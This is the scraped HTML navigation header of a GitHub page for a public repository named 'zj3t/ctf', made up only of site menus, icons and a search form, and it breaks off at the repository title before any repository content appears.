<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="118874597" data-scoped-search-url="/zj3t/ctf/search" data-owner-scoped-search-url="/users/zj3t/search" data-unscoped-search-url="/search" data-turbo="false" action="/zj3t/ctf/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="YCm002o6Uc2SuWFRgG+V2tYdr6EH1UzMJ95JnNxf2to6K6mqVP4IBMtNKMOLRCrVN6hjaIdGktLlWK0Bn0FeZQ==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> zj3t </span> <span>/</span> ctf
<span></span><span>Public</span> </div>
</div>
